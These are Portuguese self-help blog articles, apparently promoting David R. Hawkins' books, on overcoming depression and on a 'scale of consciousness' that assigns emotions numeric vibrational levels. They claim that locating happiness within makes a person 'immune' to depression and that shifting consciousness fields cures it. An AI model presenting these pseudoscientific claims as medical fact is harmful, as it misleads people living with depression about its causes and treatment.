É possível perceber, portanto, que a depressão é multifatorial. Porém, o nível de consciência que acessamos é determinante para a nossa experiência. Se estivermos “presos” na base do Mapa da Consciência, é como se “automaticamente” tivéssemos comportamentos depressivos, pensamentos depressivos, emoções depressivas, visão de mundo depressiva, assim por diante.

Logo, apesar de não existir uma “causa” específica, pode-ser que o fator de maior influência para a depressão é o campo de consciência com o qual nos conectamos.

Sendo assim, para sair da depressão precisamos nos conectar com novos campos de consciência mais expandidos.

O que isso significa na prática?

Na prática, para sair da depressão devemos reconhecer os níveis de consciência negativos em nossa vida e buscar os positivos.

Para isso, é fundamental compreendermos qual é o erro que nos leva a mergulhar nos campos de culpa, vergonha, medo, tristeza, raiva, apatia etc. E esse erro é sempre o mesmo: colocar nossa sobrevivência fora de nós mesmos.

“Todos os campos de energia negativos são baseados em colocar a fonte da nossa felicidade em algo externo.” – Dr. David R. Hawkins

A partir do momento que acreditamos que a fonte da felicidade está fora de nós, nos tornamos vulneráveis. E isso abre espaço para a depressão.

Observe os pensamentos e falas do tipo: “Quando eu tiver o diploma, terei sucesso e serei feliz”, “Quando eu perder tantos quilos, serei magro(a) e feliz”, “Quando eu tiver tantos mil reais na conta, ficarei tranquilo(a) e serei feliz”, ou ainda “Quando eu casar e tiver filhos, serei realizado(a) e feliz”

Afirmações como essas colocam a fonte da felicidade fora de nós, e isso é um grande equívoco. Jamais, em momento algum, a felicidade pode estar “lá fora”. Quando reconhecemos que a felicidade está dentro de nós, aí sim nos tornamos imunes a episódios de depressão.

Conclusão: como sair da depressão?

Dr. David Hawkins é claro: o caminho para sairmos da depressão é pararmos de depositar nossa felicidade em fatores e acontecimentos externos, e passarmos a reconhecer a fonte a felicidade dentro de nós mesmos.

Isso nos permite desenergizar os campos de consciência negativos, como apatia, culpa e tristeza, que são característicos dos estados depressivos. Ao mesmo tempo, passamos a nos conectar com os campos positivos, como a Coragem, Disposição, Aceitação e o Amor.

Ao observarmos que a felicidade só depende de nós mesmos e que é possível sermos felizes, acessamos a Coragem. A partir daí, nos colocamos em um movimento de Disposição para mudarmos nosso jeito de agir. Com Aceitação, acolhemos nossas limitações, respeitamos as limitações das outras pessoas e aceitamos o nosso contexto de vida atual, sabendo que a felicidade está disponível dentro de nós. Com Amor, passamos a dar o nosso melhor a cada instante, aceitando a vida como ela é sem criar expectativas, porém sem nunca sermos negligentes com nossa própria felicidade.

Tudo começa com o reconhecimento desta simples verdade: a felicidade vem de dentro. Esse é o ponto de partir para sair da depressão e vivenciar o amor e a paz diariamente.

Este artigo foi baseado em um trecho do capítulo “Depressão”, do livro Cura e Recuperação: Um Guia para Curar Corpo, Mente e Espírito, no qual há muitas informações complementares. Clique aqui para saber mais sobre o livro e garantir seu exemplar.

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Níveis de Consciência

Como Sair da Depressão? – Parte 1

Dr. David R. Hawkins foi psiquiatra e liderou uma das maiores clínicas de saúde mental do mundo, tendo mais tarde somado toda sua experiência clínica ao ensino da Escala de Consciência. Além disso, o próprio Hawkins lidou com a depressão em sua vida pessoal.

Por esses e outros motivos, o trabalho de David Hawkins possui uma base sólida para nos ajudar a sair da depressão clínica ou mesmo de estados depressivos temporários. Inclusive, a Escala dos Níveis de Consciência também contribui para isso, nos oferecendo uma visão única e reveladora do que está por trás da depressão.

Desmistificando a depressão

Um dos primeiros pontos que devemos compreender é que, como diz Dr. Hawkins, praticamente todas as pessoas são afetadas pela depressão. É muito raro alguém viver durante décadas neste planeta sem ser afetado por ela.

Então, antes de mais nada, não devemos nos achar piores por nos sentirmos depressivos ou desanimados. O fato é que a depressão e o desânimo sempre existiram, e nos últimos tempos se tornaram uma espécie de pequena epidemia, afetando mais e mais pessoas.

Qual é a abordagem correta para a depressão?

Há quem diga que a depressão é uma doença psíquica (da mente). Outros afirmam que ela está instalada no espírito. E há ainda inúmeros profissionais de saúde que consideram a depressão como um problema fisiológico, da bioquímica. Afinal, quem está certo?

Para lidar com a depressão, é importante a observarmos tanto do ponto de vista da consciência como também do ponto de vista da bioquímica. “A bioquímica é a causa ou o efeito da depressão?” – Dr. Hawkins nos desafia a questionar.

David Hawkins sugere abordar o tema considerando a relação entre corpo, mente e espírito. Ele fala do tratamento e compreensão da depressão nos três níveis.

Um princípio fundamental: corpo, mente e espírito

Conforme mencionado, o papel da bioquímica do corpo na depressão é importante. No entanto, é necessário lembrar que o corpo não consegue experienciar a si mesmo. Ele não é capaz de experimentar suas próprias sensações.

O corpo é experienciado na mente. É a mente quem “percebe” o corpo.

Contudo, a mente também não possui a capacidade de experienciar a si mesma. Tudo o que percebemos como experiências mentais (memórias, pensamentos, sentimentos, fantasias sobre o futuro, devaneios) é registrado e experienciado por algo maior que a mente: a consciência.

Então, a mente nos permite saber o que está acontecendo no corpo. E a consciência maior nos permite saber o que está ocorrendo na mente. Em último nível, portanto, tudo ocorre na consciência.

Corpo < Mente < Consciência

Aqui entra um princípio fundamental ensinado por Dr. David Hawkins: devemos tratar os assuntos nos níveis mais altos, onde há maior quantidade de poder.

Neste caso, a mente está “acima” do corpo e possui mais poder do que ele. Já a consciência está “acima” do corpo e da mente, influenciando os dois primeiros. Desse modo, uma mudança no campo de consciência produz mudanças na mente e no corpo.

A esse ponto, a pergunta que nos fazemos é a seguinte: como produzir mudanças no campo de consciência e, assim, curar a depressão?

É isso que veremos no próximo artigo desta série, no qual abordaremos as reais causas da depressão a sua ligação com os campos de consciência, onde também está o caminho para a cura.

Clique aqui para ler a continuação deste artigo: “Como sair da depressão? – Parte 2”.

Este artigo foi baseado em um trecho do capítulo “Depressão”, do livro Cura e Recuperação: Um Guia para Curar Corpo, Mente e Espírito, no qual há muitas informações complementares. Clique aqui para saber mais sobre o livro e garantir seu exemplar.

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Níveis de Consciência

Guia de Inteligência Emocional: Como Identificar Suas Emoções

Um dos pontos importantes para a inteligência emocional é observar suas emoções ou sentimentos e ficar consciente deles. Esse é o ponto central da técnica descrita no best-seller Deixar Ir, de Dr. David Hawkins.

Embora — segundo o próprio David Hawkins — não seja necessário nomear as emoções, pode ser útil compreender o nível energético e as características de cada uma delas. Assim fica fácil identificar, por exemplo, se você está em um estado emocional propício para agir e tomar decisões ou se é melhor aguardar um outro momento.

Neste conteúdo você terá acesso a um guia para identificar suas emoções e assim desenvolver sua inteligência emocional. Confira.

Guia de Inteligência Emocional: Emoções Negativas

Ao lado do nome de cada emoção, você verá o nível vibracional do campo energético dessa emoção conforme a Escala Hawkins de Consciência, que vai de 1 (nível mais baixo) até 1.000 (nível mais alto).

Isso ajudará você a identificar o quão negativa ou positiva é a emoção que você está experienciando. Com isso, você terá ainda mais consciência para reconhecer as emoções negativas rapidamente e escolher as positivas, ampliando sua inteligência emocional.

Vergonha (20)

Sabe aquele sentimento de humilhação, quando nos sentimos pior do que tudo e todos? Esse é o nível de consciência da vergonha, que tem uma vibração extremamente baixa.

Aqui não estamos falando apenas de se sentir encabulado. Vai muito além. É como se a pessoa sentisse vergonha de ser quem ela é.

Quando realmente mergulhamos na emoção da vergonha, passamos a achar que o mundo é miserável. Nessas horas, qualquer outra emoção que pudermos nos conectar já será válida. Mesmo outras energias negativas serão “menos negativas” e poderão auxiliar a sair desse estado emocional.

Culpa (30)

O campo emocional da culpa leva o indivíduo a desejar dois movimentos:

  • punir os outros, por achar que eles são culpados;
  • e ser punido, justamente para aliviar a culpa que sente. 

Por conta disso, é um campo extremamente perigoso. Leva a autorrejeição, masoquismo, remorso, mal-estar e autossabotagem. Propensão a acidentes, comportamento suicida e projeção de auto-ódio sobre os “maus” são comuns. 

A emoção da culpa, quando reprimida, torna-se a base de muitas doenças psicossomáticas. O problema é que esse sentimento está tão inserido no nosso dia a dia que acaba passando despercebido.

Para identificar esse estado, uma dica é observar o próprio uso da palavra “culpa”, como: “É tudo culpa minha” ou “Bem-feito, é culpa dele”.

Apatia (50)

A emoção da apatia vai além da preguiça e é caracterizada pelo desespero, ou seja, a falta de esperança em relação à vida ou algum tema específico. Por exemplo, quando você se depara com um assunto incômodo e pensa “isso não tem jeito”, “não tem nada que possa ser feito” ou “eu não consigo”.

Em muitos casos, as áreas ou assuntos da nossa vida que estão estagnados há muito tempo são áreas nas quais estamos tomados pela emoção ou energia da apatia.

Tristeza (75)

Talvez essa seja uma das emoções mais fáceis de identificar, não é? Porém, ainda assim a tristeza pode surgir discretamente e passar despercebida.

É interessante notar que a emoção da tristeza está relacionada à ausência de aceitação. Quando vivenciamos esse sentimento, é comum falarmos coisas como “se pelo menos eu tivesse…”, ou então “se eu NÃO tivesse feito aquilo”. É uma sensação de estar preso e não conseguir seguir em frente.

Em muitos casos, a tristeza também pode estar associada a algum tipo de luto. A pessoa se prende ao passado, às memórias, e praticamente deseja “voltar no tempo”. “Ah, se tudo fosse como era antes”. Nesse caso não estamos falando de memórias de gratidão, que lembram de tudo com leveza e amor, mas sim de uma emoção pesada e depressiva.

Medo (100)

Medo de dar errado. Medo de perder. Medo de não conseguir. Medo de ser atacado. Medo de ser assaltado. Medo de perder o emprego. Medo de falir. Medo do futuro. Medo de perder pessoas queridas.

A emoção do medo toma as mais variadas formas em nossa vida, desde uma leve ansiedade até o pânico mais profundo, quando a pessoa jura que vai morrer. É uma energia preocupada (se ocupa com o futuro e esquece o presente); defensiva (vê a vida como uma disputa); e evasiva (quando não está lutando, está fugindo de conflitos).

No corpo, o medo frequentemente dispara reações de tensão (musculatura rígida, por exemplo), ou ainda extremos de frio ou calor.

Dr. David Hawkins explica que, em última instância, todo medo é o medo da morte — isso é explicado em mais detalhes no livro Deixar Ir.

Desejo (125)

Desejo é o equivalente à emoção da ganância. É um impulso de buscar sempre mais, sempre um novo ganho, aquisição, prazer ou qualquer outra coisa que está “do lado de fora”.

Quando essa emoção toma conta de nós, nos tornamos insaciáveis. Precisamos de mais. Mais um pedaço do nosso doce preferido; mais uma dose de bebida; mais uma compra; mais uma experiência; assim por diante.

No corpo físico, a emoção do desejo costuma vir acompanhada de sensações ligadas ao paladar, como fome ou sede. Já na fala, é comum externalizar frases como: “Eu PRECISO disso”, “Só mais um pouco e então eu paro”, “Me dê o que eu quero, e me dê agora!”

Raiva (150)

Conhecida de todos, a emoção da raiva vem acompanhada de uma visão de mundo antagonista: algo ou alguém parece estar contra você. Um ótimo jeito de verificar se você está nessa emoção é quando você começa a acreditar, mesmo temporariamente, que tem “inimigos” ou rivais.

A raiva é irritável, explosiva, amarga, volátil e rancorosa. Gosta de “ficar quite” e fala coisas como “vou te mostrar” ou “eles vão ver só”.

Orgulho (175)

“Meu jeito é o melhor jeito”, diz essa emoção. Seu foco é conquista, desejo por reconhecimento, ser especial e perfeito. Quando somos tomados pelo orgulho, nos sentimos “melhor que” e superior aos outros.

O orgulho traz comparação e competição.

Embora geralmente seja identificado como “ego inflado”, na polaridade oposta pode ter o efeito inverso. Nesse caso, a pessoa se acha pior que os outros e se enxerga como perdedora na competição da vida.

Guia de Inteligência Emocional: Emoções Positivas

Coragem (200)

A coragem é a primeira energia positiva, por isso essa serve como porta de entrada para a inteligência emocional, saindo das emoções negativas e buscando a positividade.

Essa emoção diz: “Eu consigo fazer isso”, “Se alguém já fez algo semelhante, eu também posso!”. É uma energia determinada, produtiva, empoderada e empolgada com a vida. 

Quando estamos tomados pela emoção da coragem, saímos da teoria ou das divagações e partimos para ações efetivas. A coragem não se importa de ainda não saber como fazer, porque dará um jeito de descobrir e chegar lá.

Neutralidade (250)

É a emoção ligada à ausência de julgamento e competitividade. Traz confiança e estabilidade. Além disso, é livre de posições rígidas.

Quando essa emoção está presente, ficamos tranquilos e “de boa”, sabendo que tudo ficará bem. Frases comuns são: “Se isso não funcionar, eu tento de novo” e “Tudo tem dois lados”.

Disposição (310)

Essa emoção desperta uma alta energia e vontade de ajudar. É uma emoção ativa, ligada a movimento e proatividade. Traz uma atitude positiva e otimista em relação à vida e às pessoas.

A energia da disposição é muito vista em empreendedores e trabalhadores dispostos. É a emoção que faz a “roda da economia” girar.

Aceitação (350)

Nesse nível energético, a qualidade da inteligência emocional se acentua.

A emoção da aceitação é a mesma do perdão, lembrando que perdoar não significa concordar com o que aconteceu, mas sim aceitar a realidade que se apresentou.

No momento em que finalmente aceitamos ou perdoamos um ocorrido, a emoção da aceitação toma conta, nos liberta e traz uma enorme leveza!

É uma emoção tranquila e livre de resistências internas. Harmonia e empatia são duas características marcantes: “A vida é boa. Você e eu somos bons. Eu me sinto conectado.” Em vez de desejar que a vida fosse diferente, essa emoção aceita a vida como é e as pessoas como são. Não há necessidade de culpar os outros ou culpar a vida.

É importante não confundir aceitação com apatia, que já foi explicada nas emoções negativas. A aceitação é uma emoção proativa, que aceita o momento atual e então se move para trazer melhorias a si e aos outros.

Razão (400)

Esse aspecto diferencia os humanos do mundo animal. Existe a capacidade de ver as coisas de forma abstrata, de conceituar, ser objetivo e tomar decisões rápidas e corretas. Tem grande utilidade para resolver problemas. Ciência, filosofia, medicina e lógica são expressões deste campo energético.

A partir daqui não estamos mais falando propriamente de emoções, mas sim de níveis de consciência nos quais a emocionalidade vai ficando de lado.

Na primeira parte deste artigo apresentamos as emoções negativas (de vergonha até o orgulho). Depois, as emoções positivas (de coragem até aceitação). A partir deste nível de 400, a razão se sobrepõe às emoções. Isso não significa que a pessoa será fria, mas sim que suas decisões e ações não estarão baseadas apenas no que ela está sentindo naquele momento.

Quando o campo energético da razão se apresenta, somos capazes de nos “afastar” mentalmente de um assunto e olhar para ele de forma desapegada, sem levar para o pessoal, buscando considerar o máximo de pessoas e variáveis envolvidas.

Com a razão, a inteligência emocional se amplia mais uma vez.

Amor (500)

Quando falamos do amor, não se trata somente das relações românticas ou familiares. O campo de consciência do amor vai além: é uma maneira de ser que perdoa, dá apoio e que “nutre” a si e aos outros.

O amor não vem da mente; em vez disso, emana do coração. Quando vivenciamos verdadeiramente o amor, passamos a focar na essência de cada situação, e não nos detalhes.

À medida que o amor deixa de ser uma emoção temporária e toma conta de nós como um estilo de vida, passamos a enxergar que tudo e todos são dignos de serem amados.

No nível de Amor, a inteligência emocional abre espaço para o que é chamado de inteligência espiritual, com a harmonia das funções do lado esquerdo e direito do cérebro.

Alegria ou Amor Incondicional (540)

Esse estado emocional ou estado de consciência vê o mundo como completo. Enxerga que tudo está conectado, que “todos são um” e sente compaixão por todos.

Há uma enorme paciência e uma preocupação — no bom sentido — com a felicidade dos outros. Além disso, há uma sensação de autorrealização e autossuficiência.

Paz (600+)

A paz é vivenciada como perfeição, alegria, leveza e unidade. É um estado de não dualidade, ou seja, de “não divisão”. Está além da separação e do intelecto. É um estado de iluminação que traz profunda serenidade.

Desenvolva ainda mais sua Inteligência Emocional

Agora que você já conhece a Escala das Emoções, você pode aprofundar ainda mais esse estudo.

No livro best-seller Deixar Ir: o caminho do desapego, Dr. David Hawkins descreve as emoções ou níveis de consciência com mais detalhes. Além disso, nesse livro é ensinada a própria técnica de Deixar Ir, que é a ferramenta mais simples e efetiva que existe para desenvolver inteligência emocional. Clique aqui e adquira o seu exemplar.